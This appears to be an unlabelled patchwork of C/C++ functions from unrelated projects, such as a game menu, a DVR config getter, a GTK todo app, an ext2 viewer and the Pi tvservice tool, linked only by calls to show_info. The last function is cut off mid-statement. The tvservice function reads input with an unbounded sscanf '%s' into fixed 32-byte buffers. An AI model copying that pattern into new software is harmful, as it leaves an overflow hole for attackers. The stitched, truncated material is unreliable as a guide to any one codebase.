/** * main_menu - Main menu processing * * Processes the main menu. */ int main_menu(void) { int o, f; struct filp_val *v; int n, m, i; unsigned char *ptr; unsigned char *ptr2; unsigned char c; int ret = 0; filp_exec("\"$data_dir/e0/episode.filp\" load"); filp_exec("MSG_MENU_MAIN"); v = filp_pop(); filp_ref_value(v); o = f = 0; i = (_qdgdfv_screen_x_size / 2) - (LOGO_WIDTH / 2); qdgdfa_play_sound(_soundtrack, 1); qdgdfv_timer(1); for (;;) { _ticks_elapsed = qdgdfv_timer(1); render(_player_x, _player_y, _player_a); /* transfer the logo */ for (ptr = _qdgdfv_virtual_screen + i, n = 0; n < LOGO_HEIGHT; n++) { ptr2 = ptr; for (m = 0; m < LOGO_WIDTH; m++, ptr2++) { c = _logo[(n * LOGO_WIDTH) + m]; if (c != 255) *ptr2 = c; } ptr += _qdgdfv_screen_x_size; } qdgdfv_input_poll(); if (f) { show_info("$info_text"); if (_qdgdfv_key_enter) { while (_qdgdfv_key_enter) qdgdfv_input_poll(); f = 0; } else if (_qdgdfv_key_escape) { while (_qdgdfv_key_escape) qdgdfv_input_poll(); f = 0; } } else { if (menu(v->value, &o)) { if (o == -1) o = 0; else if (o == 0) { if (new_menu()) break; } else if (o == 1) { if (save_load_game_menu(0)) break; } else if (o == 3) { while (_qdgdfv_key_enter) qdgdfv_input_poll(); f = 1; } else if (o == 4) { ret = 1; break; } } } qdgdfv_dump_virtual_screen(); } filp_unref_value(v); return ret; }
// ------------------------------------------------------------------ int main(int argc,char *argv[]) { bool info = false; bool usage = false; setup_configuration(); for (int i = 1; i < argc; i++) if (!strcmp(argv[i], "-info")) info = true; else if (!strncmp(argv[i], "--enable-", 9)) set(&argv[i][9], true); else if (!strncmp(argv[i], "--disable-", 10)) set(&argv[i][10], false); else if (!strncmp(argv[i], "--platform=", 11)) set_platform(&argv[i][11]); else if (!strncmp(argv[i], "--name=", 7)) replace_makefile("NAME", &argv[i][7]); else if (!strncmp(argv[i], "--prefix=", 9)) replace_makefile("PREFIX", &argv[i][9]); else if (!strncmp(argv[i], "--namespace=", 12)) set_namespace(&argv[i][12]); else if (!strcmp(argv[i], "-v")) any_set = true; else if (!strcmp(argv[i], "-q")) quiet = true; else if (*argv[i] == '-') { fprintf(stderr, "Unknown command line option: %s\n", argv[i]); usage = true; } else usage = true; if (usage) { fprintf(stderr, "Usage: %s [-info] [-v] [-h] [--platform=PLATFORM] [--prefix=<path>] [--name=<Name>] [--namespace=<ns>] [--enable-OPTION] [--disable-OPTION]\n", *argv); fprintf(stderr, "\n"); fprintf(stderr, "Options (default value)\n"); fprintf(stderr, "\n"); fprintf(stderr, " -info Show compiled options\n"); fprintf(stderr, " -v Show configuration options\n"); fprintf(stderr, " -q Don't show extra info\n"); fprintf(stderr, " -h Show this help\n"); fprintf(stderr, "\n"); fprintf(stderr, " --platform= Select target platform\n"); fprintf(stderr, " --prefix= Set installation path (/usr/local/$NAME)\n"); fprintf(stderr, " --name= Set library name (Sockets)\n"); fprintf(stderr, " --namespace= Set C++ namespace for entire library\n"); fprintf(stderr, "\n"); fprintf(stderr, "Defined platforms\n"); fprintf(stderr, "\n"); fprintf(stderr, " linux-x86-32\n"); fprintf(stderr, " linux-x86-64\n"); fprintf(stderr, " win32-cygwin\n"); fprintf(stderr, " solaris9-sparc-64\n"); fprintf(stderr, " macosx\n"); fprintf(stderr, " solaris8\n"); fprintf(stderr, "\n"); fprintf(stderr, "Possible OPTION values:\n"); fprintf(stderr, "\n"); fprintf(stderr, " openssl Enable openssl library\n"); fprintf(stderr, " ipv6 Add ipv6 support\n"); fprintf(stderr, " sctp Add SCTP support\n"); fprintf(stderr, " no_addrinfo Do not use addrinfo API for dns requests\n"); fprintf(stderr, " pool Enable client connection pool\n"); fprintf(stderr, " socks4 Enable socks4 client support\n"); fprintf(stderr, " resolver Enable asynchronous dns\n"); fprintf(stderr, " reconnect Enable tcp reconnect\n"); fprintf(stderr, " detach Enable detach functionality\n"); fprintf(stderr, " exceptions Enable C++ exceptions on some error conditions\n"); fprintf(stderr, " xml2 Enable libxml2 support\n"); fprintf(stderr, "\n"); fprintf(stderr, "Use with no options to show platform configuration options in CFLAGS format.\n"); return 0; } if (argc > 1 && info) { show_info(); return 0; } if (any_set) { if (!quiet) show_configuration(); return 0; } printf(" -D_VERSION='\"%s\"'", _VERSION); #ifdef LINUX printf(" -DLINUX"); #endif #ifdef MACOSX printf(" -DMACOSX"); #endif #ifdef SOLARIS printf(" -DSOLARIS"); #endif #ifdef SOLARIS8 printf(" -DSOLARIS8"); #endif #ifdef _WIN32 printf(" -D_WIN32"); #endif #ifdef __CYGWIN__ printf(" -D__CYGWIN__"); #endif #ifdef SOCKETS_NAMESPACE printf(" -DSOCKETS_NAMESPACE=%s", SOCKETS_NAMESPACE_STR); #endif #ifdef _DEBUG printf(" -D_DEBUG"); #endif }
void generate_tuples_q5_omc() { // scale int index = 0; show_info("[1] Generating terms per doc fragments..."); t_terms_per_doc = new int[input::NUM_TUPLES]; for (int term = 0; term < input::T_PM; ++term) { for (int i = 0; i < pubmed::get_group_by_term(term); ++i) { t_terms_per_doc[index++] = term; } } shuffle(t_terms_per_doc, t_terms_per_doc + input::NUM_TUPLES, default_random_engine(42)); // split index = 0; t_terms_per_doc_docs = new rle_tuple[input::D_PM]; for (int doc = 0; doc < input::D_PM; ++doc) { t_terms_per_doc_docs[doc].row_id = index; t_terms_per_doc_docs[doc].length = pubmed::get_group_by_doc(doc); t_terms_per_doc_docs[doc].id = doc; index += pubmed::get_group_by_doc(doc); } show_info("[2] Generating docs per term fragments..."); t_docs_per_term = new int[input::NUM_TUPLES]; index = 0; for (int doc = 0; doc < input::D_PM; ++doc) { for (int i = 0; i < pubmed::get_group_by_doc(doc); ++i) { t_docs_per_term[index++] = doc; } } shuffle(t_docs_per_term, t_docs_per_term + input::NUM_TUPLES, default_random_engine(42)); // split index = 0; t_docs_per_term_terms = new rle_tuple[input::T_PM]; for (int term = 0; term < input::T_PM; ++term) { t_docs_per_term_terms[term].row_id = index; t_docs_per_term_terms[term].length = pubmed::get_group_by_term(term); t_docs_per_term_terms[term].id = term; index += pubmed::get_group_by_term(term); } show_info("[3] Generate authors per doc fragments..."); t_authors_per_doc = new int[input::NUM_TUPLES_DA]; index = 0; for (int author = 0; author < input::A_PM; ++author) { for (int i = 0; i < pubmed::get_DA_group_by_author(author); ++i) { t_authors_per_doc[index++] = author; } } shuffle(t_authors_per_doc, t_authors_per_doc + input::NUM_TUPLES_DA, default_random_engine(42)); // split index = 0; t_authors_per_doc_docs = new rle_tuple[input::D_PM]; for (int doc = 0; doc < input::D_PM; ++doc) { t_authors_per_doc_docs[doc].row_id = index; t_authors_per_doc_docs[doc].length = pubmed::get_DA_group_by_doc(doc); t_authors_per_doc_docs[doc].id = doc; index += pubmed::get_DA_group_by_doc(doc); } show_info("[4] Generate docs per author fragments..."); t_docs_per_author = new int[input::NUM_TUPLES_DA]; index = 0; for (int doc = 0; doc < input::D_PM; ++doc) { for (int i = 0; i < pubmed::get_DA_group_by_doc(doc); ++i) { t_docs_per_author[index++] = doc; } } shuffle(t_docs_per_author, t_docs_per_author + input::NUM_TUPLES_DA, default_random_engine(42)); // split index = 0; t_docs_per_author_authors = new rle_tuple[input::A_PM]; for (int author = 0; author < input::A_PM; ++author) { t_docs_per_author_authors[author].row_id = index; t_docs_per_author_authors[author].length = pubmed::get_DA_group_by_author(author); t_docs_per_author_authors[author].id = author; index += pubmed::get_DA_group_by_author(author); } show_info("[5] Generating years per doc..."); year_doc = new int[input::D_PM]; for (int i = 0; i < input::D_PM; ++i) { year_doc[i] = rand() % 100 + 1915; } }
static int dah_get_device_config(struct service *srv, int parm_id, void *parm) { int user_id, ret = FALSE, err = 0; JDevCap *dev_cap; dah_service_t *dah_srv; dah_config_t *dah_cfg; dah_new_config_t *dah_new_cfg; dah_query_t *query; NMP_ASSERT(srv && parm); dah_srv = (dah_service_t*)srv; user_id = dah_get_user_id(&dah_srv->parm); if (DAH_LOGOUT == user_id) { show_debug("Proxy device logout!!!!!!!!!!!!!!\n"); return -1; } switch (parm_id) { case GET_DEVICE_CONFIG: goto GET_CFG; case GET_SERIAL_CONFIG: goto GET_CFG; case GET_DEVICE_TIME: goto GET_CFG; case GET_NTP_CONFIG: goto GET_CFG; case GET_NETWORK_CONFIG: goto GET_CFG; case GET_PPPOE_CONFIG: goto GET_CFG; case GET_FTP_CONFIG: goto GET_CFG; case GET_SMTP_CONFIG: goto GET_CFG; case GET_DDNS_CONFIG: goto GET_CFG; case GET_UPNP_CONFIG: goto GET_CFG; case GET_DISK_LIST: goto GET_DEV_STATE; case GET_ENCODE_CONFIG: goto GET_CFG; case GET_DISPLAY_CONFIG: goto GET_CFG; case GET_OSD_CONFIG: goto GET_CFG; case GET_PTZ_CONFIG: goto GET_NEW_CFG; case GET_RECORD_CONFIG: goto GET_CFG; case GET_HIDE_CONFIG: goto GET_CFG; case GET_MOTION_CONFIG: goto GET_CFG; case GET_VIDEO_LOST_CONFIG: goto GET_CFG; case GET_HIDE_ALARM_CONFIG: goto GET_CFG; case GET_IO_ALARM_CONFIG: goto GET_CFG; case GET_STORE_LOG: query = (dah_query_t*)parm; printf("user_id : %d\n", user_id); printf("channel : %d\n", query->channel); printf("file_type: %d\n", query->file_type); if (CLIENT_QueryRecordFile((LLONG)user_id, query->channel, query->file_type, &query->start, &query->end, query->card_id, (NET_RECORDFILE_INFO*)query->buffer, query->buf_size, &query->filecount, query->waittime, FALSE)) { show_info("count: %d<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\n", query->filecount); ret = TRUE; } else { ret = FALSE; show_debug("ERROR: 0x%x<-------------------------------\n", CLIENT_GetLastError()); } show_debug("CLIENT_QueryRecordFile: %s<-----------------\n", (ret == TRUE) ? "Success" : "Failure"); break; case GET_CRUISE_CONFIG: /*cruise = (dah_cruise_t*)parm; show_debug("crz_no: %d<--------------------\n", cruise->crz_no); ret = NET_DVR_GetPTZCruise(user_id, (LONG)cruise->channel, (LONG)cruise->crz_no, (NET_DVR_CRUISE_RET*)cruise->input); show_debug("NET_DVR_GetDVRConfig: %s<-------------------------------\n", (ret == TRUE) ? "Success" : "Failure"); if (FALSE == ret) show_debug("ERROR: 0x%x<-------------------------------\n", CLIENT_GetLastError());*/ break; case GET_CAPABILITY_SET: dev_cap = (JDevCap*)parm; dev_cap->cap0 = DEV_CAP_VIDEO_IN | DEV_CAP_AUDIO | DEV_CAP_IRIS | DEV_CAP_PTZ | DEV_CAP_ALARM_IN | DEV_CAP_ALARM_OUT | DEV_CAP_STORAGE | DEV_CAP_WEB | DEV_CAP_PLATFORM | DEV_CAP_INTELLIGENT_ANALYSIS | DEV_CAP_UPDATE | DEV_CAP_VIDEO_OUT;// | DEV_CAP_IR; dev_cap->ftp_enable = 1; dev_cap->upnp_enable = 0; dev_cap->chn_cap.size = sizeof(JChnCap); dev_cap->chn_cap.encode = VIDEO_ENCODE_H264_E | VIDEO_ENCODE_MJPEG_E | VIDEO_ENCODE_JPEG_E | VIDEO_ENCODE_MPEG4_E; dev_cap->chn_cap.supp_mask = 1; dev_cap->chn_cap.mask_count = 4; dev_cap->chn_cap.supp_hide_alarm = 1; dev_cap->chn_cap.hide_alarm_count = 1; dev_cap->chn_cap.supp_move_alarm = 1; dev_cap->chn_cap.move_alarm_count = 1; dev_cap->chn_cap.supp_video_lost_alarm = 1; dev_cap->chn_cap.osd_count = 1; dev_cap->chn_cap.stream_count = 2; dev_cap->chn_cap.stream_supp_resolution[0] = CAP_VIDEO_QCIF | CAP_VIDEO_CIF | CAP_VIDEO_HD1 | CAP_VIDEO_D1 | CAP_VIDEO_QQVGA | CAP_VIDEO_QVGA | CAP_VIDEO_VGA | CAP_VIDEO_SVGA | CAP_VIDEO_UXGA | CAP_VIDEO_720P | CAP_VIDEO_960 | CAP_VIDEO_1080P; dev_cap->chn_cap.stream_supp_resolution[1] = CAP_VIDEO_QCIF | CAP_VIDEO_CIF | CAP_VIDEO_HD1 | CAP_VIDEO_D1 | CAP_VIDEO_QQVGA | CAP_VIDEO_QVGA | CAP_VIDEO_VGA | CAP_VIDEO_SVGA | CAP_VIDEO_UXGA | CAP_VIDEO_720P | CAP_VIDEO_960 | CAP_VIDEO_1080P; dev_cap->chn_cap.stream_supp_resolution[2] = CAP_VIDEO_QCIF | CAP_VIDEO_CIF | CAP_VIDEO_HD1 | CAP_VIDEO_D1 | CAP_VIDEO_QQVGA | CAP_VIDEO_QVGA | CAP_VIDEO_VGA | CAP_VIDEO_SVGA | CAP_VIDEO_UXGA | CAP_VIDEO_720P | CAP_VIDEO_960 | CAP_VIDEO_1080P; dev_cap->chn_cap.stream_supp_resolution[3] = CAP_VIDEO_QCIF | CAP_VIDEO_CIF | CAP_VIDEO_HD1 | CAP_VIDEO_D1 | CAP_VIDEO_QQVGA | CAP_VIDEO_QVGA | CAP_VIDEO_VGA | CAP_VIDEO_SVGA | CAP_VIDEO_UXGA | CAP_VIDEO_720P | CAP_VIDEO_960 | CAP_VIDEO_1080P; dev_cap->chn_cap.stream_max_frate_rate[0] = 25; dev_cap->chn_cap.img_cap = IMA_BRIGHTNESS | IMA_CONTRAST | IMA_SATURATION | IMA_HUE | IMA_SHARPNESS; ret = TRUE; break; default: ret = FALSE; show_warn("parm_id Invalid!!!!!\n"); break; } if (TRUE == ret) return 0; else return -1; GET_CFG: dah_cfg = (dah_config_t*)parm; ret = CLIENT_GetDevConfig((LLONG)user_id, (DWORD ) dah_cfg->command, (LONG ) dah_cfg->channel, (LPVOID ) dah_cfg->buffer, (DWORD ) dah_cfg->b_size, (LPDWORD)&dah_cfg->returns, (int ) dah_cfg->waittime); show_debug("CLIENT_GetDevConfig: %s<-------------------------------\n", (ret == TRUE) ? "Success" : "Failure"); if (TRUE == ret) return 0; else { show_debug("ERROR: 0x%x<-------------------------------\n", CLIENT_GetLastError()); return -1; } GET_NEW_CFG: dah_new_cfg = (dah_new_config_t*)parm; ret = CLIENT_GetNewDevConfig((LLONG)user_id, dah_new_cfg->command, dah_new_cfg->channel, dah_new_cfg->out_json, DEF_OUT_JSON_SIZE, &err, dah_new_cfg->waittime); show_debug("CLIENT_GetNewDevConfig: %s<-------------------------------\n", (ret == TRUE) ? "Success" : "Failure"); if (TRUE == ret) { CLIENT_ParseData( dah_new_cfg->command, dah_new_cfg->out_json, dah_new_cfg->buffer, dah_new_cfg->b_size, NULL); return 0; } else { show_debug("ERROR: 0x%x, err: 0x%x<-------------------------------\n", CLIENT_GetLastError(), err); return -1; } GET_DEV_STATE: dah_cfg = (dah_config_t*)parm; ret = CLIENT_QueryDevState(user_id, (DWORD) dah_cfg->command, (char*) dah_cfg->buffer, (DWORD) dah_cfg->b_size, (int* )&dah_cfg->returns, (int ) dah_cfg->waittime); show_debug("CLIENT_QueryDevState: %s<-------------------------------\n", (ret == TRUE) ? "Success" : "Failure"); if (TRUE == ret) return 0; else { show_debug("ERROR: 0x%x, err: %d<-------------------------------\n", CLIENT_GetLastError(), err); return -1; } }
/** * Shows default first window of Ezeedo */ void activate (GtkApplication *app, gpointer user_data) { // get ezeedo from user data ezeedo_wrapper_structure *ezeedo; ezeedo = user_data; // define widgets GtkWidget *window; GtkWidget *todo_showall; GtkWidget *todo_contexts; GtkWidget *todo_projects; GtkWidget *donelist; GtkWidget *todolist; // initialize textlist and add to ezeedo wrapper structure textlist_container *main_textlist = calloc (1, sizeof(textlist_container)); ezeedo->textlist = main_textlist; // initialize tasklist and add to ezeedo wrapper structure tasklist_container *main_tasklist = calloc (1, sizeof(tasklist_container)); ezeedo->tasklist = main_tasklist; // initialize context_list and add to ezeedo wrapper structure category_container *context_list = calloc (1, sizeof(category_container)); ezeedo->context_list = context_list; // initialize project_list and add to ezeedo wrapper structure category_container *project_list = calloc (1, sizeof(category_container)); ezeedo->project_list = project_list; // initialize tasks store and add to ezeedo wrapper structure GtkListStore *tasks_store = create_tasks_store (); ezeedo->tasks_store = tasks_store; // create main window for application window = create_mainwindow (ezeedo); // get todotxt file from gsettings store GSettings *settings; gchar *todotxt_file; settings = g_settings_new ("org.y20k.ezeedo"); todotxt_file = g_settings_get_string (settings, "todo-txt-file"); g_object_unref (settings); // if not in gsettings store get todotxt file from file chooser if (strlen(todotxt_file) == 0) { todotxt_file = open_file_dialog (G_APPLICATION(ezeedo->application)); // quit application if open file dialog returns NULL if (todotxt_file == NULL) { char text[INFODIALOGLENGTH]; snprintf (text, INFODIALOGLENGTH,"File chooser returned NULL."); show_info (GTK_WIDGET(window), text, true); terminate (ezeedo); } else { save_file_name_location (todotxt_file); } } // open todo.txt file and load it line by line into a raw text list gboolean file_loaded = load_tasklist_file (todotxt_file, main_textlist); if (!file_loaded) { char text[INFODIALOGLENGTH]; snprintf (text, INFODIALOGLENGTH,"Could not load file:\n%s", todotxt_file); show_info (GTK_WIDGET(window), text, true); select_and_save_file (NULL, GTK_APPLICATION(ezeedo->application)); } // parse the raw textlist and load it into the main tasklist and sort it gboolean textlist_parsed = parse_textlist (main_textlist, main_tasklist, context_list, project_list); if (!textlist_parsed) { char text[INFODIALOGLENGTH]; snprintf (text, INFODIALOGLENGTH,"Could not parse file:\n%s", todotxt_file); show_info (GTK_WIDGET(window), text, true); select_and_save_file (NULL, GTK_APPLICATION(ezeedo->application)); } sort_tasklist (main_tasklist); // fill tasks store fill_tasks_store (ezeedo); GtkTreeModel *filter_todo; filter_todo = gtk_tree_model_filter_new (GTK_TREE_MODEL(ezeedo->tasks_store), NULL); gtk_tree_model_filter_set_visible_column (GTK_TREE_MODEL_FILTER(filter_todo), TASK_NOTCOMPLETED); GtkTreeModel *filter_done; filter_done = gtk_tree_model_filter_new (GTK_TREE_MODEL(ezeedo->tasks_store), NULL ); gtk_tree_model_filter_set_visible_column (GTK_TREE_MODEL_FILTER(filter_done), TASK_COMPLETED); // create todolist widget and add to ezeedo wrapper structure todolist = build_tasklist (ezeedo, GTK_TREE_MODEL(filter_todo)); gtk_container_add (GTK_CONTAINER (ezeedo->todolist_box), todolist); ezeedo->todolist = todolist; /* note to self: better use show_tasklist show_tasklist (ezeedo, CATEGORYLIST_ALL -1);*/ // create donelist and add to ezeedo wrapper structure donelist = build_tasklist (ezeedo, GTK_TREE_MODEL(filter_done)); gtk_container_add (GTK_CONTAINER (ezeedo->donelist_box), donelist); ezeedo->donelist = donelist; // create showall and add to ezeedo wrapper structure todo_showall = build_show_all (ezeedo); gtk_container_add (GTK_CONTAINER(ezeedo->categories_box), todo_showall); ezeedo->todo_showall = todo_showall; // create contexts and add to ezeedo wrapper structure GtkTreeModel *filter_contexts; filter_contexts = fill_category_store (ezeedo, ezeedo->context_list, CATEGORYLIST_CONTEXTS); todo_contexts = build_categorylist (ezeedo, GTK_TREE_MODEL(filter_contexts), "Contexts"); gtk_container_add (GTK_CONTAINER(ezeedo->categories_box), todo_contexts); ezeedo->todo_contexts = todo_contexts; // create projects and add to ezeedo wrapper structure GtkTreeModel *filter_projects; filter_projects = fill_category_store (ezeedo, ezeedo->project_list, CATEGORYLIST_PROJECTS); todo_projects = build_categorylist (ezeedo, GTK_TREE_MODEL(filter_projects), "Projects"); gtk_widget_set_vexpand (todo_projects, true); gtk_container_add (GTK_CONTAINER(ezeedo->categories_box), todo_projects); ezeedo->todo_projects = todo_projects; // show main window gtk_widget_show_all (window); return; }
/* This is a generic rendering function. It works for all signal styles. * The input always looks like one big PCM sample; if the input is really * a spectrum, then it will have been transformed by blurk_render_pcm() * into 256 PCM samples, with 20000 meaning "no sound" and smaller/negative * values representing a lot of sound. This particular transformation was * chosen simply because the normal PCM plotter can then produce a nice-looking * spectrum graph. * * This function supports a variety of ways to plot the [pseudo-]PCM samples. * In addition to the usual line graph, it can also mirror the line graph or * produce a "bead" graph by passing the data off to render_bead(). * The decision of how to plot is based on the value of "variation". */ static void update_image(BlurskPrivate *priv, int32_t loudness, int ndata, int16_t *data) { int i, thick, quiet, center; int beat; int width, height, bpl; /* Detect whether this is a beat, and choose a line thickness */ beat = detect_beat(loudness, &thick, &quiet); /* Perform the blurring. This also affects whether the center of the * signal will be moved lower in the window. */ center = img_height/2 + blur(priv, beat, quiet); /* Perform the fade or solid flash */ if (beat && !strcmp(config.flash_style, "Full flash")) i = 60; else { switch (config.fade_speed[0]) { case 'S': i = -1; break; /* Slow */ case 'M': i = -3; break; /* Medium */ case 'F': i = -9; break; /* Fast */ case 'N': default: i = 0; /* None */ } } if (i != 0) loopfade(i); /* special processing for "Invert" & bitmap logo flashes */ if (beat) { if (!strcmp(config.flash_style, "Invert flash")) img_invert(); else if ((i = bitmap_index(config.flash_style)) >= 0) bitmap_flash(i); } /* Maybe change hue on beats */ if (beat) color_beat(priv); /* Add the signal data to the image */ render(thick, center, ndata, data); /* Add floaters */ drawfloaters(beat); /* shift the "ripple effect" from one frame to another */ img_rippleshift += 3; /* cyclic, since img_rippleshift is a unsigned char */ /* Apply the overall effect, if any */ if (!strcmp(config.overall_effect, "Bump effect")) { priv->rgb_buf = img_bump(&width, &height, &bpl); } else if (!strcmp(config.overall_effect, "Anti-fade effect")) { priv->rgb_buf = img_travel(&width, &height, &bpl); } else if (!strcmp(config.overall_effect, "Ripple effect")) { priv->rgb_buf = img_ripple(&width, &height, &bpl); } else /* "Normal effect" */ { priv->rgb_buf = img_expand(&width, &height, &bpl); } priv->rgb_buf = show_info(priv->rgb_buf, height, bpl); /* Allow the background color to change */ color_bg(priv, ndata, data); }
void type_ext2_block_bitmap___show (char *command_line) /* We show the bitmap as a series of bits, grouped at 8-bit intervals. We display 8 such groups on each line. The current position (as known from block_bitmap_info.entry_num) is highlighted. */ { int i,j; unsigned char *ptr; unsigned long block_num,entry_num; ptr=type_data.u.buffer; show_pad_info.line=0;show_pad_info.max_line=-1; wmove (show_pad,0,0); for (i=0,entry_num=0;i<file_system_info.super_block.s_blocks_per_group/8;i++,ptr++) { for (j=1;j<=128;j*=2) { /* j contains the and bit mask */ if (entry_num==block_bitmap_info.entry_num) { /* Highlight the current entry */ wattrset (show_pad,A_REVERSE); show_pad_info.line=show_pad_info.max_line-show_pad_info.display_lines/2; } if ((*ptr) & j) /* Apply the mask */ wprintw (show_pad,"1"); else wprintw (show_pad,"0"); if (entry_num==block_bitmap_info.entry_num) wattrset (show_pad,A_NORMAL); entry_num++; /* Pass to the next entry */ } wprintw (show_pad," "); if (i%8==7) { /* Display 8 groups in a row */ wprintw (show_pad,"\n"); show_pad_info.max_line++; } } refresh_show_pad (); show_info (); /* Show the usual information */ /* Show the group number */ wmove (show_win,1,0); wprintw (show_win,"Block bitmap of block group %ld\n",block_bitmap_info.group_num); /* Show the block number */ block_num=block_bitmap_info.entry_num+block_bitmap_info.group_num*file_system_info.super_block.s_blocks_per_group; block_num+=file_system_info.super_block.s_first_data_block; wprintw (show_win,"Status of block %ld - ",block_num); /* and the allocation status */ ptr=type_data.u.buffer+block_bitmap_info.entry_num/8; j=1; for (i=block_bitmap_info.entry_num % 8;i>0;i--) j*=2; if ((*ptr) & j) wprintw (show_win,"Allocated\n"); else wprintw (show_win,"Free\n"); refresh_show_win (); }
int main( int argc, char **argv ) { int32_t ret; char optstring[OPTSTRING_LEN]; int opt; int opt_preferred = 0; int opt_explicit = 0; int opt_sdtvon = 0; int opt_off = 0; int opt_modes = 0; int opt_monitor = 0; int opt_status = 0; int opt_audiosup = 0; int opt_dumpedid = 0; int opt_showinfo = 0; int opt_3d = 0; int opt_json = 0; int opt_name = 0; char *dumpedid_filename = NULL; VCHI_INSTANCE_T vchi_instance; VCHI_CONNECTION_T *vchi_connection; HDMI_RES_GROUP_T power_on_explicit_group = HDMI_RES_GROUP_INVALID; uint32_t power_on_explicit_mode; uint32_t power_on_explicit_drive = HDMI_MODE_HDMI; HDMI_RES_GROUP_T get_modes_group = HDMI_RES_GROUP_INVALID; SDTV_MODE_T sdtvon_mode; SDTV_ASPECT_T sdtvon_aspect; // Initialize VCOS vcos_init(); // Create the option string that we will be using to parse the arguments create_optstring( optstring ); // Parse the command line arguments while (( opt = getopt_long_only( argc, argv, optstring, long_opts, NULL )) != -1 ) { switch ( opt ) { case 0: { // getopt_long returns 0 for entries where flag is non-NULL break; } case OPT_PREFERRED: { opt_preferred = 1; break; } case OPT_EXPLICIT: { char group_str[32], drive_str[32]; /* coverity[secure_coding] String length specified, so can't overflow */ int s = sscanf( optarg, "%31s %u %31s", group_str, &power_on_explicit_mode, drive_str ); if ( s != 2 && s != 3 ) { LOG_ERR( "Invalid arguments '%s'", optarg ); goto err_out; } // Check the group first if ( vcos_strcasecmp( "CEA", group_str ) == 0 ) { power_on_explicit_group = HDMI_RES_GROUP_CEA; } else if ( vcos_strcasecmp( "DMT", group_str ) == 0 ) { power_on_explicit_group = HDMI_RES_GROUP_DMT; } else if ( vcos_strcasecmp( "CEA_3D", group_str ) == 0 || vcos_strcasecmp( "CEA_3D_SBS", group_str ) == 0) { power_on_explicit_group = HDMI_RES_GROUP_CEA; opt_3d = 1; } else if ( vcos_strcasecmp( "CEA_3D_TB", group_str ) == 0 ) { power_on_explicit_group = HDMI_RES_GROUP_CEA; opt_3d = 2; } else { LOG_ERR( "Invalid group '%s'", group_str ); goto err_out; } if (s==3) { if (vcos_strcasecmp( "HDMI", drive_str ) == 0 ) { power_on_explicit_drive = HDMI_MODE_HDMI; } else if (vcos_strcasecmp( "DVI", drive_str ) == 0 ) { power_on_explicit_drive = HDMI_MODE_DVI; } else { LOG_ERR( "Invalid drive '%s'", drive_str ); goto err_out; } } // Then check if mode is a sane number if ( power_on_explicit_mode > MAX_MODE_ID ) { LOG_ERR( "Invalid mode '%u'", power_on_explicit_mode ); goto err_out; } opt_explicit = 1; break; } case OPT_SDTVON: { char mode_str[32], aspect_str[32]; if ( sscanf( optarg, "%s %s", mode_str, aspect_str ) != 2 ) { LOG_ERR( "Invalid arguments '%s'", optarg ); goto err_out; } // Check the group first if ( vcos_strcasecmp( "NTSC", mode_str ) == 0 ) { sdtvon_mode = SDTV_MODE_NTSC; } else if ( vcos_strcasecmp( "NTSC_J", mode_str ) == 0 ) { sdtvon_mode = SDTV_MODE_NTSC_J; } else if ( vcos_strcasecmp( "PAL", mode_str ) == 0 ) { sdtvon_mode = SDTV_MODE_PAL; } else if ( vcos_strcasecmp( "PAL_M", mode_str ) == 0 ) { sdtvon_mode = SDTV_MODE_PAL_M; } else { LOG_ERR( "Invalid mode '%s'", mode_str ); goto err_out; } if ( vcos_strcasecmp( "4:3", aspect_str ) == 0 ) { sdtvon_aspect = SDTV_ASPECT_4_3; } else if ( vcos_strcasecmp( "14:9", aspect_str ) == 0 ) { sdtvon_aspect = SDTV_ASPECT_14_9; } else if ( vcos_strcasecmp( "16:9", aspect_str ) == 0 ) { sdtvon_aspect = SDTV_ASPECT_16_9; } opt_sdtvon = 1; break; } case OPT_OFF: { opt_off = 1; break; } case OPT_MODES: { if ( vcos_strcasecmp( "CEA", optarg ) == 0 ) { get_modes_group = HDMI_RES_GROUP_CEA; } else if ( vcos_strcasecmp( "DMT", optarg ) == 0 ) { get_modes_group = HDMI_RES_GROUP_DMT; } else { LOG_ERR( "Invalid group '%s'", optarg ); goto err_out; } opt_modes = 1; break; } case OPT_MONITOR: { opt_monitor = 1; break; } case OPT_STATUS: { opt_status = 1; break; } case OPT_AUDIOSUP: { opt_audiosup = 1; break; } case OPT_DUMPEDID: { opt_dumpedid = 1; dumpedid_filename = optarg; break; } case OPT_SHOWINFO: { opt_showinfo = atoi(optarg)+1; break; } case OPT_JSON: { opt_json = 1; break; } case OPT_NAME: { opt_name = 1; break; } default: { LOG_ERR( "Unrecognized option '%d'\n", opt ); goto err_usage; } case '?': case OPT_HELP: { goto err_usage; } } // end switch } // end while argc -= optind; argv += optind; if (( optind == 1 ) || ( argc > 0 )) { if ( argc > 0 ) { LOG_ERR( "Unrecognized argument -- '%s'", *argv ); } goto err_usage; } if (( opt_preferred + opt_explicit + opt_sdtvon > 1 )) { LOG_ERR( "Conflicting power on options" ); goto err_usage; } if ((( opt_preferred == 1 ) || ( opt_explicit == 1 ) || ( opt_sdtvon == 1)) && ( opt_off == 1 )) { LOG_ERR( "Cannot power on and power off simultaneously" ); goto err_out; } // Initialize the VCHI connection ret = vchi_initialise( &vchi_instance ); if ( ret != 0 ) { LOG_ERR( "Failed to initialize VCHI (ret=%d)", ret ); goto err_out; } ret = vchi_connect( NULL, 0, vchi_instance ); if ( ret != 0) { LOG_ERR( "Failed to create VCHI connection (ret=%d)", ret ); goto err_out; } // LOG_INFO( "Starting tvservice" ); // Initialize the tvservice vc_vchi_tv_init( vchi_instance, &vchi_connection, 1 ); if ( opt_monitor == 1 ) { LOG_STD( "Starting to monitor for HDMI events" ); if ( start_monitor() != 0 ) { goto err_stop_service; } } if ( opt_modes == 1 ) { if ( get_modes( get_modes_group, opt_json ) != 0 ) { goto err_stop_service; } } if ( opt_preferred == 1 ) { if ( power_on_preferred() != 0 ) { goto err_stop_service; } } else if ( opt_explicit == 1 ) { //Distinguish between turning on 3D side by side and 3D top/bottom if(opt_3d == 1 && set_property( HDMI_PROPERTY_3D_STRUCTURE, HDMI_3D_FORMAT_SBS_HALF, 0) != 0) { goto err_stop_service; } else if(opt_3d == 2 && set_property( HDMI_PROPERTY_3D_STRUCTURE, HDMI_3D_FORMAT_TB_HALF, 0) != 0) { goto err_stop_service; } if ( power_on_explicit( power_on_explicit_group, power_on_explicit_mode, power_on_explicit_drive ) != 0 ) { goto err_stop_service; } } else if ( opt_sdtvon == 1 ) { if ( power_on_sdtv( sdtvon_mode, sdtvon_aspect ) != 0 ) { goto err_stop_service; } } else if (opt_off == 1 ) { if ( power_off() != 0 ) { goto err_stop_service; } } if ( 